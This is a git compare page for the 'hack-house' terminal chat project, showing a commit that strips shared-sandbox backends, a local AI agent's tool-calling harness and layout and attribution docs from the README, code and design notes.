Trilltechnician/hack-house
1
3
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Compare commits

base: Trilltechnician/hack-house:c5f5c878edfa5a50dee1ebb5f6aee71b5c3204ea
Branches Tags
Trilltechnician/hack-house:main Trilltechnician/hack-house:feat/mobile-operator Trilltechnician/hack-house:feat/pseudonymous-attribution Trilltechnician/hack-house:feat/agent-olympics
..
compare: Trilltechnician/hack-house:feat/agent-olympics
Branches Tags
Trilltechnician/hack-house:main Trilltechnician/hack-house:feat/mobile-operator Trilltechnician/hack-house:feat/pseudonymous-attribution Trilltechnician/hack-house:feat/agent-olympics

1 Commits
c5f5c878ed .. feat/agent-olympics

Author SHA1 Message Date
leetcrypt df8f1881d8 feat(olympics): agent Olympics benchmark — multi-language arena, results ledger, model-aware budgets 
Fourth benchmark axis: teams of LLM agents deliberate in a room, implement
code in an isolated VM, and are scored deterministically on correctness/speed.

- Multi-language adapter (python/js/go/rust/bash) via MultiPL-E continuation mode
- Append-only JSONL ledger with status tracking (ok/dnf/killed/error) so
  budget-exhausted or crashed runs still record a row (fixes selection bias)
- Model-aware wall-clock scaling (U-shaped by param count; 3x for reasoning)
- Self-owned SIGALRM/SIGTERM watchdog (RunTimeout: BaseException so broad
  except Exception handlers in the infer/completion path can't swallow it)
- Seed forwarded to Ollama sampler + markdown-fence stripping in completion.py
 2026-06-27 10:17:23 -07:00
81 changed files with 3581 additions and 7039 deletions
Expand all files Collapse all files
.gitignore
-10
View File
@@ -21,9 +21,6 @@ secured_console_chat.egg-info/
*.log
err.log
# Sandbox save/load snapshots (large runtime tarballs, not source)
/hh/hh-snapshots/
# Out-of-tree experiments (not part of hack-house)
/experiments/
/headroom/
@@ -31,13 +28,6 @@ err.log
# Heavy / superseded demo-build kit (real demos live in video-toolkit)
/docs/demo/
# Native-harness benchmark harness + results — dev-internal test tooling, kept
# on disk but never pushed to origin (coupled to the local tmux+podman test rig)
/bench/
# Local-only planning/design docs (kept on disk, never pushed to origin)
/docs/plans/
# Project scratch
/i-try/
test_rsa.py
README.MD
+36 -54
View File
@@ -32,12 +32,11 @@ Encrypted chat that runs in your terminal. You host the server, you control the
- **SRP authentication** — the password is never sent over the network (zero-knowledge proof)
- **Zero-knowledge server** — relays only ciphertext; cannot read messages, files, or terminal output
- **RAM only** — nothing persisted on the server; close it and history is gone
- **Shared sandbox** — summon a disposable `local` / `docker` / `podman` / `multipass` box the whole room can watch and drive. Docker defaults to **Parrot OS Security** (`parrotsec/core`) and Podman to **Kali** (`kalilinux/kali-rolling`) — pentest distros out of the box; Podman is rootless & daemonless, so **no sudo** to launch
- **Shared sandbox** — summon a disposable `local` / `docker` / `multipass` box the whole room can watch and drive
- **Snapshot save/load** — freeze a sandbox to a named snapshot and restore it later (`/sbx save` · `/sbx load` · `/sbx snaps`)
- **Local VirtualBox VMs** — `/sbx vms` detects VirtualBox and lists your VMs; `/sbx gui <vm>` opens a desktop VM locally for the room to gather around — per-user consent gate, with automatic resolution of VT-x conflicts (Docker Desktop / multipass)
- **Real permissions** — the host grants/revokes *drive* (keyboard) and *sudo* (VM superuser) per user; **stacking roster badges** show exactly who holds what, both in the clergy panel and inline on every chat message
- **Local-first AI agent** — `/ai start` summons an in-room AI that runs against *your own* [Ollama](https://ollama.com) (no API key, nothing leaves your machine); replies **stream token-by-token** with **in-RAM semantic recall** of the conversation for context; model-agnostic, addressed-only, end-to-end encrypted like every other client
- **AI that acts in the sandbox** — grant an agent *drive* and address it with `/ai <name> !<task>`; it works the shared box through a bounded, host-side **tool-calling loop** (run shell, write/read files, inspecting each result before the next step) and you watch its commands land live in the shared terminal. Ungranted, it stays **advisory-only** (tells you the commands, runs nothing); destructive commands are gated behind an explicit `/ai <name> confirm`
- **Encrypted file transfer** — `/send` → `/accept` with SHA-256 verification
- **TLS** — self-signed by default, or bring your own cert; `--no-tls` for local/Tailscale use
- **Themes** — seven switchable "vestments" (`crypt` default · `church` · `neon` · `blush` · `matrix` · `wraith` · `goldcrypt`), plus a live randomizer
@@ -61,6 +60,17 @@ git clone https://git.churchofmalware.org/trilltechnician/hack-house.git
cd hack-house
```
> **Private beta.** The repo is private for now, so an anonymous clone returns
> *Not found*. Until it's public, clone with your Gitea credentials:
>
> ```bash
> # Personal access token (Gitea → Settings → Applications → Generate Token)
> git clone https://<user>:<token>@git.churchofmalware.org/trilltechnician/hack-house.git
>
> # …or SSH (add your key under Gitea → Settings → SSH Keys)
> git clone git@git.churchofmalware.org:trilltechnician/hack-house.git
> ```
### 1. One-shot setup (`hh/scripts/bootstrap.sh`)
Checks prerequisites, creates the Python venv, installs the server's
@@ -150,22 +160,18 @@ Type to chat. Slash commands and keys:
| `/help` · `F1` | Help overlay |
| `/pw` | Show this room's password (local only — never broadcast) |
| `/theme [name]` | Switch vestments, or list them |
| `/send <user> <path>` | Offer a file (or directory) directly to one member |
| `/sendroom <path>` | Offer a file (or directory) to the whole room |
| `/send <path>` | Offer a file (or directory) to the room |
| `/accept` · `/reject` | Respond to a pending file offer |
| `/clear` | Wipe your chat scrollback (local only) |
| `/ai start [model\|profile] [allow]` | Summon a local AI agent (default `ollama/qwen2.5:3b`; a bare name is a `models.toml` profile). `allow` auto-grants it sandbox drive at spawn |
| `/ai start [model\|profile]` | Summon a local AI agent (default `ollama/qwen2.5:3b`; a bare name is a `models.toml` profile) |
| `/ai stop` | Dismiss the agent you summoned |
| `/ai <question>` | Ask the agent (`/ai <name> <question>` if several present) |
| `/ai <name> !<task>` | Have a *granted* agent act in the shared sandbox (advisory-only if it has no drive) |
| `/ai <name> confirm` | Approve a gated (destructive) command the agent proposed |
| `/ai list` | List the agents present (or hint to `/ai start` if none) |
| `/ai models` | Models the active agent can serve — or, with no agent, your local Ollama tags |
| `/sbx <local\|docker\|podman\|multipass> [image] [install]` | Summon the shared sandbox — the backend leads (`/sbx launch …` still works). Docker → **Parrot OS** (`parrotsec/core`), Podman → **Kali** (`kalilinux/kali-rolling`, rootless, no sudo). `install` fetches a missing backend; `docker --start` boots a stopped daemon |
| `/sbx launch [local\|docker\|multipass] [image] [install]` | Summon the shared sandbox (`install` fetches a missing backend; `--start` boots a stopped Docker daemon) |
| `/sbx stop` | Tear down the sandbox you host |
| `/sbx save [label]` · `/sbx load <label>` · `/sbx snaps` | Snapshot the sandbox, restore one, or list snapshots |
| `/sbx vms` | Detect VirtualBox and list local VMs |
| `/sbx vbox [new [name]]` | Open the local VirtualBox VM picker, or build a fresh VM via cloud-init |
| `/sbx launch vbox [new [name]]` | Open the local VirtualBox VM picker, or build a fresh VM via cloud-init |
| `/sbx gui <vm> [--install]` | Open a local VirtualBox desktop VM for the room (consent-gated) |
| `/drive` · `F2` | Take the shared shell (`Esc` releases) |
| `/grant <user>` · `/revoke <user>` | Owner: delegate/withdraw drive |
@@ -179,7 +185,7 @@ Type to chat. Slash commands and keys:
### The shared sandbox
Anyone in the room can summon a disposable Linux box with `/sbx <backend>`. The
Anyone in the room can summon a disposable Linux box with `/sbx launch`. The
person who summons it is the **owner/host**: their client runs the real PTY
locally and relays its output to everyone else as encrypted frames, so the
server only ever sees ciphertext (same trust model as chat).
@@ -187,15 +193,10 @@ server only ever sees ciphertext (same trust model as chat).
| Backend | Isolation | Notes |
|---|---|---|
| `local` | none | a `bash` shell on the host — fast, for dev/testing only |
| `docker` | container | **Parrot OS Security** (`parrotsec/core`) by default — swap `parrotsec/security` per-launch for the full pentest set; `/sbx docker --start` boots the daemon (or run `hh/scripts/ensure-docker.sh`) |
| `podman` | container | **Kali rolling** (`kalilinux/kali-rolling`) by default — **rootless & daemonless, no sudo to launch** (add `kali-linux-headless` for the toolset); `hh/scripts/ensure-podman.sh` installs it |
| `docker` | container | `ubuntu:24.04` by default; `/sbx launch docker --start` boots the daemon (or run `hh/scripts/ensure-docker.sh`) |
| `multipass` | full VM | `24.04` by default; strongest isolation, ~30 s to boot, the choice for real use |
The backend leads the command — `/sbx podman`, `/sbx docker`, `/sbx multipass`,
`/sbx local` (the older `/sbx launch <backend>` still works). Override the image
positionally, e.g. `/sbx docker parrotsec/security` or `/sbx podman ubuntu:24.04`.
Both container engines are Debian/apt-based, so the dev-toolchain bootstrap runs
unchanged. Tear it down with `/sbx stop` (purges the VM/container).
Tear it down with `/sbx stop` (purges the VM/container).
**Snapshots.** Freeze the current sandbox to a named checkpoint with `/sbx save
[label]`, list what you've stored with `/sbx snaps`, and restore one later with
@@ -245,9 +246,8 @@ they can never advertise a power the room won't honour.
### Sharing files & directories
`/send <user> <path>` proposes a transfer to one member; `/sendroom <path>`
offers it to everyone. Recipients `/accept` or `/reject`. A whole directory
works too (it's packed into a `.tar` before sending). Files are chunked (64 KB),
`/send <path>` proposes a transfer; recipients `/accept` or `/reject`. A whole
directory works too (it's packed before sending). Files are chunked (64 KB),
encrypted with the room key, relayed as opaque ciphertext, and **SHA-256
verified** on arrival before landing in `./downloads/`. Max size is 50 MB.
@@ -264,15 +264,6 @@ when you quit). Pick a model at summon time with `/ai start <model>`.
- **Addressed-only.** The agent reads room traffic like any client but forwards
to the model *only* the messages that trigger it (`/ai …`) — no passive
surveillance, no cost or noise when idle.
- **Can drive the sandbox.** Grant an agent *drive* (`/grant <name>`, or summon it
pre-granted with `/ai start <name> allow`) and ask it to act with
`/ai <name> !<task>`. It works the shared box through a bounded **host-side
tool-calling loop** — run shell commands, write and read files — inspecting each
result before the next step, and you watch its commands appear live in the
shared terminal. Every command runs *inside the sandbox* (the container/VM is the
blast radius), capped in count and time. Without drive it stays **advisory-only**
(it spells out the commands, runs nothing). Destructive commands are blocked
pending an explicit `/ai <name> confirm`.
- **Model-agnostic.** Swap the backend without touching the client: bundled
adapters for `ollama` (default), `anthropic`, and any OpenAI-compatible
endpoint (OpenAI, Groq, Together, local vLLM…), plus a `module:Class` hook for
@@ -307,32 +298,24 @@ directly:
Seven bundled themes — `crypt` (default, neutral monochrome, `✝` sigil),
`church`, `neon`, `blush`, `matrix`, `wraith`, and `goldcrypt`. Switch live with
`/theme <name>`, list them with bare `/theme`, roll a fresh randomized vestment
with `Ctrl+Alt+P` (keep one you like with `/theme save [name]`), or load your own
TOML at launch with `--theme <path>` (see `hh/themes/`). Each theme defines its
own sigil, colours, and roster width.
with `Ctrl+Alt+P` (and save it to disk), or load your own TOML at launch with
`--theme <path>` (see `hh/themes/`). Each theme defines its own sigil, colours,
and roster width.
### Window layout
The chat, roster (clergy), sandbox-terminal, and message-input panes are
resizable and can be fullscreened — live, with no restart. Resizing the terminal
also re-syncs the shared PTY grid so everyone in the room sees the same
dimensions.
The chat, roster (clergy), and sandbox-terminal panes are resizable and can be
fullscreened — live, with no restart. Resizing the terminal also re-syncs the
shared PTY grid so everyone in the room sees the same dimensions.
- **Fullscreen** — `F4` cycles the sandbox terminal fullscreen → chat
fullscreen → back to the split. The input bar always stays visible, so
fullscreen → back to the split. The 3-line input bar always stays visible, so
`F4` always brings you back.
- **Resize a pane** — click a pane (or press `F5` to cycle the selection:
chat → terminal → roster → input). The selected pane gets a bold accent border
and an `✎` marker in its title. The chat/terminal/roster panes form a binary
split tree, so **every pane resizes on both axes** wherever a divider bounds it:
- `↑` / `↓` grow / shrink the selected pane's **height**. With a sandbox up,
chat trades against the terminal directly below it. With no sandbox, chat and
the clergy instead **borrow from the message bar** — `↑` grows the chat box
(shrinks the input), `↓` does the reverse — so vertical resize always moves
something. The **input bar** itself is also selectable and grows on `↑/↓`.
- `←` / `→` grow / shrink the selected pane's **width** (the chat/terminal
column trades with the roster, down to hidden). Resizing the terminal's
width now re-syncs the shared PTY too, not just its height.
terminal → chat → roster). The selected pane gets a bold accent border and an
`✎` marker in its title. Then:
- `↑` / `↓` grow / shrink the **terminal** or **chat** pane's height share
- `←` / `→` narrow / widen the **roster** column (down to hidden)
- `Esc` or `Enter` finishes editing.
- **Presets** — save the current arrangement and recall it later:
@@ -377,11 +360,10 @@ supports `-h` / `--help`** for full usage.
| Script | What it does |
|---|---|
| `ensure-docker.sh` | Install Docker and/or start its daemon (idempotent; `--check`/`--plan`/`--yes`). Invoked by `/sbx docker`. |
| `ensure-podman.sh` | Install Podman (rootless; sets up subuid/subgid). Daemonless — nothing to start. Invoked by `/sbx podman`. |
| `ensure-multipass.sh` | Install Multipass. Invoked by `/sbx multipass`. |
| `ensure-vbox.sh` | Install VirtualBox (warns on Secure Boot). Invoked by `/sbx vbox` and `/sbx gui`. |
| `vbox-new.sh` | Create + boot a fresh Ubuntu VirtualBox VM via cloud-init. Invoked by `/sbx vbox new`. |
| `ensure-docker.sh` | Install Docker and/or start its daemon (idempotent; `--check`/`--plan`/`--yes`). Invoked by `/sbx launch docker`. |
| `ensure-multipass.sh` | Install Multipass. Invoked by `/sbx launch multipass`. |
| `ensure-vbox.sh` | Install VirtualBox (warns on Secure Boot). Invoked by `/sbx launch virtualbox` and `/sbx gui`. |
| `vbox-new.sh` | Create + boot a fresh Ubuntu VirtualBox VM via cloud-init. Invoked by `/sbx launch virtualbox`. |
| `sandbox-bootstrap.sh` | Baseline dev-tool install piped into a Docker sandbox at provision time (package list from `sandbox-tools.json`). |
| `sandbox-tools.json` | Editable package list consumed by `sandbox-bootstrap.sh`. |
cmd_chat/agent/__main__.py
+3 -15
View File
@@ -51,8 +51,6 @@ def _build_provider(args, ap):
args.system = prof["system"]
if args.context_window == 12 and prof.get("context_window"):
args.context_window = int(prof["context_window"])
if args.harness is None and prof.get("harness"):
args.harness = prof["harness"]
return provider
opts: dict = {}
@@ -74,11 +72,8 @@ def _apply_ollama_tuning(provider, args) -> None:
provider.num_predict = args.num_predict
# Coder models preferred for the sandbox `!task` path, accuracy-first. The 3b
# build roughly doubles the ground-truth pass rate over 1.5b on the verify-then-
# repair native harness (bench: 4/9 vs 2/9 over the 9 non-net tasks) at a modest
# CPU-latency cost, so it is auto-selected ahead of 1.5b when present.
_CODER_MODELS = ("qwen2.5-coder:3b", "qwen2.5-coder", "qwen2.5-coder:1.5b")
# Coder models preferred for the sandbox path, fastest-first (CPU).
_CODER_MODELS = ("qwen2.5-coder:1.5b", "qwen2.5-coder:3b", "qwen2.5-coder")
def _build_code_provider(provider, args):
@@ -126,12 +121,6 @@ def main() -> None:
help="Ollama CPU threads (default: Ollama's own ≈ physical cores; benchmark 4/6/8)")
ap.add_argument("--num-predict", type=int, default=None,
help="Ollama max reply tokens (default 512)")
ap.add_argument("--harness", choices=["native", "simple"], default=None,
help="sandbox !task harness: native (bounded host-side Ollama "
"tool-calling loop; default) or simple (one-shot injector). "
"native degrades to simple if the model has no tool support.")
ap.add_argument("--max-turns", type=int, default=5,
help="max turns for the native tool-calling loop (default %(default)s)")
ap.add_argument("--system", default=None, help="override the system prompt")
ap.add_argument("--context-window", type=int, default=12,
help="max prior messages fed to the model per reply")
@@ -204,8 +193,7 @@ def main() -> None:
password=args.password, insecure=args.insecure, no_tls=args.no_tls,
system_prompt=args.system, context_window=args.context_window,
token_budget=args.token_budget, embedder=embedder, rag_top_k=args.rag_top_k,
code_provider=code_provider, harness=args.harness or "native",
max_turns=args.max_turns,
code_provider=code_provider,
)
try:
bridge.run()
cmd_chat/agent/bridge.py
+55 -1141
View File
File diff suppressed because it is too large Load Diff
cmd_chat/agent/providers.py
+2 -231
View File
@@ -11,7 +11,6 @@ from __future__ import annotations
import importlib
import json
import os
import re
from dataclasses import dataclass
from typing import Protocol, runtime_checkable
@@ -24,11 +23,6 @@ class Msg:
content: str
class ToolsUnsupported(RuntimeError):
"""Raised by ``complete_with_tools`` when the backend model can't do function
calling — the native harness catches it and degrades to the simple injector."""
@runtime_checkable
class Provider(Protocol):
name: str
@@ -48,14 +42,11 @@ class OllamaProvider:
name = "ollama"
def __init__(self, model: str = "llama3", host: str | None = None, timeout: int = 240,
def __init__(self, model: str = "llama3", host: str | None = None, timeout: int = 120,
num_ctx: int = 4096, num_predict: int = 512, num_thread: int | None = None,
keep_alive: str = "30m"):
self.model = model
self.host = (host or os.environ.get("OLLAMA_HOST", "http://localhost:11434")).rstrip("/")
# Default 240s: the native tool-calling turn is NON-streaming, so on a
# contended CPU box a long write_file turn can exceed a tighter cap and
# surface as `[ai error: read timed out]`. Generous here, bounded loop above.
self.timeout = timeout
# On CPU, time-to-first-token is O(num_ctx) prefill, so keep the window
# modest (4096) rather than a GPU-mindset 8192. keep_alive pins the model
@@ -65,18 +56,11 @@ class OllamaProvider:
self.num_predict = num_predict
self.num_thread = num_thread
self.keep_alive = keep_alive
# Tri-state tool-calling capability cache: None=unprobed, True/False once a
# real /api/chat with `tools` either succeeds or is rejected by the model.
# The native harness reads this to skip retrying tools on a model that
# can't do them (and fall straight to the simple injector).
self._tools_ok: bool | None = None
def _options(self, extra: dict | None = None) -> dict:
def _options(self) -> dict:
opts = {"num_ctx": self.num_ctx, "num_predict": self.num_predict}
if self.num_thread is not None:
opts["num_thread"] = self.num_thread
if extra:
opts.update(extra)
return opts
def _raise_for_status(self, r: requests.Response) -> None:
@@ -121,219 +105,6 @@ class OllamaProvider:
self._raise_for_status(r)
return (r.json().get("message", {}).get("content") or "").strip()
def supports_tools(self) -> bool | None:
"""Cached tool-calling capability: None until the first ``complete_with_tools``
call has either succeeded or been rejected by the model."""
return self._tools_ok
def complete_with_tools(
self, system: str, messages: list[dict], tools: list[dict]
) -> tuple[str, list[dict], dict]:
"""One non-streaming ``/api/chat`` turn carrying a ``tools`` schema. Used by
the native harness loop. ``messages`` are raw Ollama wire dicts (so the
caller can round-trip assistant ``tool_calls`` and ``tool`` results across
turns); ``system`` is prepended. Returns ``(text, tool_calls, usage)`` where
each call is ``{"name": str, "arguments": dict}`` and ``usage`` carries
Ollama's real token counts (``prompt_eval_count`` / ``eval_count``) so the
caller can budget context against TRUE tokens instead of a char estimate
(``{}`` if the server omits them). Raises ``ToolsUnsupported`` if the model
can't do function calling so the bridge can fall back to simple."""
# Greedy decode (temperature 0) for the tool loop: at Ollama's default 0.8 a
# weak model "creatively" narrates the next step in prose or fabricates file
# content instead of emitting a deterministic structured call. The nudge loop
# changes the prompt between turns, so temp 0 still escapes a failing state on
# retry — it just stops sampling away from the correct tool-call format. This
# override is scoped to complete_with_tools; chat (complete/stream) keeps the
# model's default sampling so replies stay natural.
payload = {
"model": self.model,
"stream": False,
"keep_alive": self.keep_alive,
"options": self._options({"temperature": 0.0}),
"tools": tools,
"messages": [{"role": "system", "content": system}] + messages,
}
r = requests.post(f"{self.host}/api/chat", json=payload, timeout=self.timeout)
if not r.ok:
try:
detail = (r.json().get("error") or "").strip()
except ValueError:
detail = (r.text or "").strip()
if "does not support tools" in detail.lower():
self._tools_ok = False
raise ToolsUnsupported(detail or f"{self.model} does not support tools")
self._raise_for_status(r)
self._tools_ok = True
data = r.json()
msg = data.get("message", {}) or {}
# Real token counts straight from Ollama — exact, free (already in the
# response), and used to calibrate the native loop's char-based estimate.
usage = {k: data[k] for k in ("prompt_eval_count", "eval_count")
if isinstance(data.get(k), int)}
text = (msg.get("content") or "").strip()
calls: list[dict] = []
for tc in msg.get("tool_calls") or []:
fn = tc.get("function") or {}
args = fn.get("arguments")
if isinstance(args, str):
try:
args = json.loads(args)
except ValueError:
args = {}
calls.append({"name": fn.get("name", ""), "arguments": self._clean_args(args or {})})
# Small/quantized models (notably qwen2.5 on CPU) intermittently emit a valid
# tool call as literal text in `content` instead of the structured `tool_calls`
# field — qwen's `<tool_call>{…}</tool_call>`, but also bare/fenced JSON and
# alternate wrappers (`<tools>`, `<function_call>`). This is the single biggest
# score sink in the native-harness benchmark, so recover any well-formed JSON
# call here. Gate on the known tool names from `tools` so a stray JSON blob in
# prose can never be coerced into an action the model didn't structurally ask
# for. Only adopt the recovery when it actually found a call (a plain `DONE:`
# or prose turn is left untouched).
if not calls and text:
valid = {(t.get("function") or {}).get("name") for t in (tools or [])}
valid.discard(None)
recovered_text, recovered = self._extract_text_tool_calls(text, valid)
if recovered:
text, calls = recovered_text, recovered
return text, calls, usage
# Wrapper tags a weak model wraps a leaked call (or its prose) in; stripped
# from the chat-facing text once the JSON inside is recovered.
_WRAP_TAGS = re.compile(
r"</?(?:tool_call|tool_calls|function_call|function|tools|native)>",
re.I,
)
# The SPLIT-form leak (qwen2.5:0.5b at temp 0, ~half its turns): the tool NAME in
# a `<tools>` tag and the arguments in a SEPARATE bare JSON object with no `name`
# key — `<tools>write_file</tools>{"path":…,"content":…}`. Captures the name; the
# decoder reads the args object that follows from the trailing `{`.
_NAMED_TAG = re.compile(
r"<(tool_call|tool_calls|function_call|function|tools)>\s*"
r"([a-zA-Z_]\w*)\s*</\1>\s*(?=\{)",
re.I,
)
# Per-argument schema-echo leak: a weak model sometimes emits a parameter's
# JSON *schema* fragment as its *value*, e.g.
# run_shell(command={'type': 'string', 'description': 'bash ./add.py'})
# Every native tool arg is a plain string, so a dict-valued arg is always this
# leak — recover the intended string (the model stows it in a value-ish key, or
# in `description`), else drop to "" so the tool reports a clean error instead
# of running the stringified dict.
_LEAK_VALUE_KEYS = ("value", "default", "command", "content", "path",
"text", "input", "arg", "description")
# JSON-schema scaffolding keys — never a recovered value (e.g. `type: string`
# must not be mistaken for the single string value of a bare `{'type':'string'}`).
_SCHEMA_META = frozenset({"type", "format", "enum", "items", "properties",
"required", "title", "additionalproperties"})
@classmethod
def _unleak_str(cls, v):
if not isinstance(v, dict):
return v
for k in cls._LEAK_VALUE_KEYS:
if isinstance(v.get(k), str) and v[k].strip():
return v[k]
strs = [x for k, x in v.items()
if k not in cls._SCHEMA_META and isinstance(x, str) and x.strip()]
return strs[0] if len(strs) == 1 else ""
@classmethod
def _clean_args(cls, args):
if not isinstance(args, dict):
return args
return {k: cls._unleak_str(v) for k, v in args.items()}
@classmethod
def _coerce_call(cls, obj, valid_names) -> dict | None:
"""Turn a decoded JSON object into a `{"name","arguments"}` call IF it
structurally is one for a KNOWN tool — else None. Unwraps the OpenAI-style
`{"function": {...}}` / `{"tool_call": {...}}` nesting and accepts either
`arguments` or qwen's `parameters` key. The `valid_names` gate is what makes
scanning arbitrary text safe: a random JSON blob in prose has no known tool
name, so it can never be coerced into an action."""
if not isinstance(obj, dict):
return None
inner = obj.get("function") or obj.get("tool_call")
if isinstance(inner, dict):
obj = inner
name = obj.get("name")
if not isinstance(name, str) or not name:
return None
if valid_names and name not in valid_names:
return None
args = obj.get("arguments")
if args is None:
args = obj.get("parameters")
if isinstance(args, str):
try:
args = json.loads(args)
except ValueError:
args = {}
if not isinstance(args, dict):
args = {}
return {"name": name, "arguments": cls._clean_args(args)}
@classmethod
def _extract_text_tool_calls(
cls, text: str, valid_names: set | None = None
) -> tuple[str, list[dict]]:
"""Recover tool calls a small/quantized model emitted as TEXT in `content`
instead of the structured `tool_calls` field. Handles qwen's
`<tool_call>{json}</tool_call>` blocks plus the looser CPU-model leaks: bare
JSON, ```json fenced blocks, alternate wrapper tags (`<tools>`,
`<function_call>`), and the SPLIT form where the name sits in a tag and the
args follow as a separate object (`<tools>write_file</tools>{"path":…}`).
Scans for every JSON object via a decoder (so nested braces in arguments parse
correctly) and keeps ONLY those that resolve to a KNOWN tool — never freeform
prose, so it can't fabricate an action the model didn't structurally request.
Returns the text with the recovered JSON (and now-orphaned wrapper tags / code
fences) stripped, plus the calls."""
dec = json.JSONDecoder()
calls: list[dict] = []
spans: list[tuple[int, int]] = []
# Split-form index: the `{` that opens an args object → (tool_name, tag_start),
# so the scan pairs that JSON as arguments and strips the whole tag+object.
split = {m.end(): (m.group(2), m.start()) for m in cls._NAMED_TAG.finditer(text)}
i, n = 0, len(text)
while i < n:
brace = text.find("{", i)
if brace == -1:
break
try:
obj, end = dec.raw_decode(text, brace)
except ValueError:
i = brace + 1
continue
if brace in split:
# `<tag>NAME</tag>{args}` — name from the tag, this object is the args.
name, tag_start = split[brace]
if (not valid_names or name in valid_names) and isinstance(obj, dict):
calls.append({"name": name, "arguments": obj})
spans.append((tag_start, end))
else:
call = cls._coerce_call(obj, valid_names)
if call is not None:
calls.append(call)
spans.append((brace, end))
i = end
if spans:
kept, last = [], 0
for start, stop in spans:
kept.append(text[last:start])
last = stop
kept.append(text[last:])
text = "".join(kept)
# The JSON is gone; drop the wrapper tags and any now-empty code fences
# it sat in so the chat summary reads as clean prose.
text = cls._WRAP_TAGS.sub("", text)
text = re.sub(r"```[a-zA-Z]*\s*```", "", text)
text = re.sub(r"```[a-zA-Z]*|```", "", text)
text = text.strip()
return text, calls
def stream(self, system: str, messages: list[Msg]):
"""Yield reply text incrementally as Ollama generates it. On CPU the
perceived latency is TTFT, so streaming makes a slow reply feel live."""
docs/attribution.md
-38
View File
@@ -1,38 +0,0 @@
# Pseudonymous attribution
hack-house lets you share files **pseudonymously but provably** — a recipient can
verify *who* authored a file (and that it's intact) without anyone, including the
relay server, learning your real identity. It adapts Princess_Pi's
**Encrypt-Share-Attribution** scheme from the Church of Malware codex
(<https://git.thecoven.info/PrincessPi/Encrypt-Share-Attribution>).
There are two independent ways to prove authorship, mirroring ESA:
1. **Persona signature (automatic).** On first run each client mints a long-lived
Ed25519 "persona" key at `~/.config/hack-house/persona_ed25519` (0600). Every
`/send` / `/sendroom` offer carries the persona public key and a detached
signature over `attest-v1 || sha256 || name || size`. Receivers verify it and
see the persona **fingerprint** (`⛧<8 hex>`), so the same author is recognizable
across offers. The fields are additive JSON — a Python peer that doesn't sign
still interoperates (its offers just show as *unsigned*).
2. **Attribution passphrase (opt-in).** Add `--attest <passphrase>` to a send:
the offer then carries a commitment `SHA-512(passphrase || sha256)`. You can
*later* reveal the passphrase to prove authorship to anyone, even people who
weren't in the room.
## Commands
```
/send <user> <path> [--attest <passphrase>]
/sendroom <path> [--attest <passphrase>]
/export-signed <dir> [--attest <passphrase>]
```
`/export-signed` packages a directory into a **portable, self-verifying ESA 7z
archive** (`verifiable_archive_<ts>.7z`) using Princess_Pi's exact format: a fresh
per-round Ed25519 key signs an inner `contents.7z`, SHA-512 checksums cover the
outer layer, and bundled `verify-everything.sh` / `test_validate_passphrase.sh`
let anyone with `bash` + `7z` + `ssh-keygen` verify it — no hack-house needed. The
builder is `hh/tools/esa/esa_build.sh` (embedded in the binary). Requires `7z`,
`ssh-keygen`, `sha512sum`, `shred`, `openssl` on the host.
docs/bsp-pane-layout.md
-193
View File
@@ -1,193 +0,0 @@
# Spec: BSP pane layout (resize every pane in both dimensions)
Status: **implemented** · Branch: `feat/bsp-pane-layout`
> Implementation note: the shipped tree uses two **typed** splits
> (`VSplit`/`HSplit`) rather than a single uniform `Split{axis, ratio}`. This
> keeps the roster a fixed-cell column (not a percentage) and lets the type
> system encode "chat-over-terminal" vs "column-beside-roster" directly. The
> sections below describe the original uniform model; the typed shape is called
> out inline where they differ.
## Motivation
Today the window layout is two scalars over a *fixed* 3-pane arrangement
(`layout::Layout { pty_pct, roster_width, zoom }`):
- `pty_pct` — sandbox terminal's share of body **height** (chat takes the rest).
- `roster_width` — roster column **width** in cells.
Consequences the user hit:
1. **No sandbox → almost nothing adjustable.** `body_areas` only creates the
chat/terminal vertical split `if app.sandbox.is_some()`. Without a sandbox the
chat owns the whole body, so the only live dimension is the roster *width*.
The `↑/↓` keys still call `grow_pty`/`shrink_pty`, but with no terminal pane
to trade height against, nothing moves.
2. **Each pane is locked to one axis.** The terminal only changes height (always
full width); the roster only changes width (always full height). You can't,
e.g., make the terminal narrower or give the roster its own height.
Goal: let the user resize **each pane in both width and height**, using the
standard BSP (binary space-partition) pane-tree model (tmux/i3-style).
Researched in chat: ratatui core has no interactive-resize/BSP primitive (only
the Cassowary/`kasuari` solver + the "store-percent, mutate, re-solve" pattern);
the `ratkit` crate's `ResizableGrid` proves the BSP-tree approach. We roll a
small in-repo tree (option 2 from the research) so the PTY-resync integration
stays first-class and we take no new dependency.
## Model
Replace the two scalars with a binary tree. Leaves are the three *semantic*
panes; internal nodes are splits with an axis + ratio.
Original uniform sketch:
```rust
pub enum PaneKind { Chat, Roster, Terminal }
pub enum Axis { Horizontal, Vertical } // H: side-by-side (|), V: stacked (—)
pub enum Node {
Leaf(PaneKind),
Split { axis: Axis, ratio: u16, a: Box<Node>, b: Box<Node> },
}
```
**As shipped** (`hh/src/layout.rs`) — typed splits, reusing `app::Pane` as the
leaf type so it can be (de)serialized into presets:
```rust
pub enum Node {
Leaf(Pane), // Pane = Chat|Roster|Terminal
VSplit { top_pct: u16, top: Box<Node>, bottom: Box<Node> }, // chat over terminal, by %
HSplit { right_cells: u16, left: Box<Node>, right: Box<Node> },// column | roster, by cells
}
pub struct Layout { root: Node, pub zoom: Zoom } // Zoom: Normal | Term | Chat
```
The roster width lives as `HSplit.right_cells` (0 = hidden); there's no separate
`roster_seed` — the active theme seeds it once via `Layout::set_roster_width`.
### Default arrangement (reproduces today's look)
With a sandbox present (typed shape as shipped):
```
HSplit(right_cells=22, // left column | roster (right, full height)
left = VSplit(top_pct=45, // chat (top) / terminal (bottom)
top = Leaf(Chat),
bottom = Leaf(Terminal)),
right = Leaf(Roster))
```
The tree is **static**; the terminal and roster are *pruned at paint time*
rather than rebuilt. `fill()` skips the `VSplit` when no sandbox is up (chat
fills the left column) and skips the `HSplit` divider when `right_cells == 0`
(roster hidden). So `/sbx launch`/`stop` and hiding the roster need no rebuild —
the same tree just paints fewer leaves. `top_pct` is clamped to `[10, 80]`;
`right_cells` to `[0, 60]`.
## Geometry (single source of truth)
`layout.rs` owns recursive area computation; `ui.rs::body_areas` becomes a thin
wrapper so `draw` and `pane_at` keep sharing one geometry.
As shipped, `regions` just returns the visible leaves (no `Divider` struct yet —
that's deferred to phase 5), and takes `has_terminal` so it can prune:
```rust
pub fn regions(&self, body: Rect, has_terminal: bool) -> Vec<(Pane, Rect)>;
